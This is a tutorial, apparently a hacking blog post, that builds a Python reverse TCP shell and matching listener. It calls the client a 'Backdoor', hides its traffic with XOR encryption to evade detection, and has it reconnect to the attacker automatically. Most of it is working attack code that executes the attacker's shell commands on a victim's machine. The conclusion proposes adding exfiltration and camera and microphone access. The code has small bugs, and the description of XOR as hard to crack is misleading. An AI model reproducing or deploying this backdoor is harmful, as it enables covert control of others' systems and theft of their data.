Reverse TCP shell with traffic encryption
To gain control over a target system, a reverse shell is an integral part of a hacking/pentesting process, it enables the attacker to execute system commands on the target machine. In this article we are going to code a reverse TCP shell in python. We will make sure our shell will be as robust as possible, reconnecting to the attacker each time the connection is lost and we will implement XOR encryption to encrypt the traffic sent between the two machines.
What is a shell ?
A shell provides an interface between the user and the system kernel. It is a program that takes commands from the keyboard and gives them to the operating system to perform the required tasks. During a cyberattack a shell, when weaponized, is a malicious script that allows the hacker to access the victim’s machine.
Reverse shell vs Bind shell
In bind shell, an attacker launches a service (the listener) on the target computer, to which the attacker can connect. To launch a bind shell, the attacker must have the IP address of the victim to access the target computer and must find an open port on the target machine and then tries to bind his shell to that port. This type of shells is not common, since modern firewalls don’t allow outsiders to connect to open ports.
Bind shell
In the reverse shell, the attacker has the listener running on his machine and the target connects to the attacker with a shell. The attacker must open his own port so that the victim can connect to and doesn’t need to know the IP address of the victim. Reverse Shell can bypass the firewall issues, thus they are the most used during a cyberattack.
Reverse shell
Encrypting traffic
A TCP connection does not encrypt traffic by default, it sends data between sender and receiver in plain text. Anyone who can monitor the network traffic can easily identify if an established connection is being used to send malicious commands. Encrypting the traffic between the attacker and the victim is a must if the hacker aims to stay undetected in the target machine.
XOR Encryption
XOR Encryption is an encryption method used to encrypt data and is hard to crack by brute-force method. XOR denote the exclusive disjunction (XOR) operation. A string of text can be encrypted applying the bitwise XOR operator to every character using a given key. One of the cool things about XOR encryption is that when you apply it twice, you get back the original string. An example (from Wikipedia) of the XOR encryption in the image below.
Source: wikipedia
Attacker side (server/listener script)
Let’s start with the listener script that will run on the attacking side and will listen for incoming connection.
from socket import socket, AF_INET, SOCK_STREAM, SO_REUSEADDR, SOL_SOCKET
class Listener:
def __init__(self, ip, port):
self.listener = socket(AF_INET, SOCK_STREAM)
self.listener.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
self.listener.bind((ip, port))
self.listener.listen(0)
print("[+] Listening for coming connections on PORT: ", str(port))
try:
self.connection, address = self.listener.accept()
except KeyboardInterrupt:
exit("\nEXITING..")
print("[+] New connection from " + str(address))
self.key = self.connection.recv(1024).decode()
self.cwd = self.x_recv()
In this script we will only need the socket
library that will establish the connection to the victim’s machine. We define the class Listener, the IP and port to listen on and wait for incoming connections. Once a connection is established, we receive the XOR key that will be used to encrypt the traffic (generated by the victim’s machine) and the current working directory (of the victim’s machine).
def str_xor(self, s1, s2):
enc = "".join([chr(ord(c1) ^ ord(c2)) for (c1, c2) in zip(s1, s2)])
return enc
Next we define str_xor()
method that will encrypt/decrypt the traffic. This method takes as arguments the string that we want to encrypt/decrypt and the key to do so.
To send and receive data, we want to define our own method x_send()
and x_recv()
. These methods will handle splitting long messages to 1024 byte chunks and encrypt each chunk using str_xor()
method. Note that we use the “done” string to indicate the end of each message.
def x_send(self, msg):
encrypted = ""
if (len(msg) > 1024):
for i in range(0, len(msg), 1024):
chunk = msg[0+i:1024+i]
encrypted += self.str_xor(chunk, self.key)
encrypted = encrypted.encode()
else:
encrypted = self.str_xor(msg, self.key).encode()
encrypted += "done".encode()
self.connection.send(encrypted)
def x_recv(self):
data = "".encode()
while not data.endswith("done".encode()):
data += self.connection.recv(1024)
data = data[:-4]
data = data.decode()
decrypted = ""
if len(data) > 1024:
for i in range(0, len(data), 1024):
chunk = data[i+0:i+1024]
decrypted += self.str_xor(chunk, self.key)
else:
decrypted = self.str_xor(data, self.key)
return
Finally, we define the run()
method that will wait for attacker input (commands) and send them to the victim’s machine.
def run(self):
while True:
try:
cmd = str(input(self.cwd + '>'))
if (len(cmd.strip()) < 1):
self.run()
self.x_send(cmd)
r = self.x_recv()
if cmd.split()[0] == 'cd' and len(cmd.split()) > 1:
self.cwd = r
else:
print(r)
except KeyboardInterrupt:
self.x_send("terminate")
self.connection.close()
exit()
listener = Listener("0.0.0.0", 5000)
listener.run()
Victim side (client/shell script)
We move now to the client side (the script that will run on the victim’s machine).
The connect()
method is responsible for establishing the connection to the attacker machine, creates a random 1024 byte key that will be sent along the current working directory. If any exception occurs, we wait 2 seconds and try to connect again. This will run forever until a connection is established.
from socket import socket, AF_INET, SOCK_STREAM
from subprocess import Popen, PIPE, DEVNULL
import time
import os
import random
import string
class Backdoor:
def __init__(self, ip, port):
self.IP = ip
self.PORT = port
self.key = ''
def connect(self):
try:
self.connection = socket(AF_INET, SOCK_STREAM)
self.connection.connect((self.IP, self.PORT))
self.key = "".join(random.choice(
string.ascii_lowercase + string.ascii_uppercase + string.digits) for _ in range(0, 1024))
cwd = os.getcwd().replace('\\', '/')
self.connection.send(self.key.encode())
self.x_send(cwd)
except Exception:
self.connection.close()
time.sleep(2)
self.connect()
chdir()
method to change the working directory.
def chdir(self, dir):
try:
os.chdir(dir)
cwd = os.getcwd().replace('\\', '/')
except:
cwd = os.getcwd().replace('\\', '/')
return cwd
exec_cmd()
is responsible for executing commands sent by the attacker.
def exec_cmd(self, cmd):
res = Popen(cmd, shell=True, stdout=PIPE, stderr=PIPE, stdin=DEVNULL)
stdout = res.stdout.read().decode(errors='ignore').strip()
stderr = res.stderr.read().decode(errors='ignore').strip()
if stdout:
return (stdout)
elif stderr:
return (stderr)
else:
return ''
Finally, we define the run()
method that will start by trying to connect to the attacker machine. In this code, we will be always waiting for the attacker’s command in the x_recv()
method and executing code according to the command received. Note that we handle any error or disconnection by trying to reconnect to the attacking machine.
def run(self):
self.connect()
while True:
try:
cmd = self.x_recv().split()
if cmd[0] == 'cd' and len(cmd) > 1:
cwd = self.chdir(cmd[1])
self.x_send(cwd)
elif cmd[0] == 'terminate':
self.connection.close()
self.connect()
else:
out = self.exec_cmd(cmd)
self.x_send(out)
except:
self.connect()
backdoor = Backdoor("localhost", 5000)
backdoor.run()
Conclusion
As always you are only limited by your imagination. You can always extend this code by adding threading module to accept multiple connections at the same time. Add custom commands to exfiltrate data from the target machine, access camera and microphone and much more.
You can find the entire code on github.
HAPPY HACKING.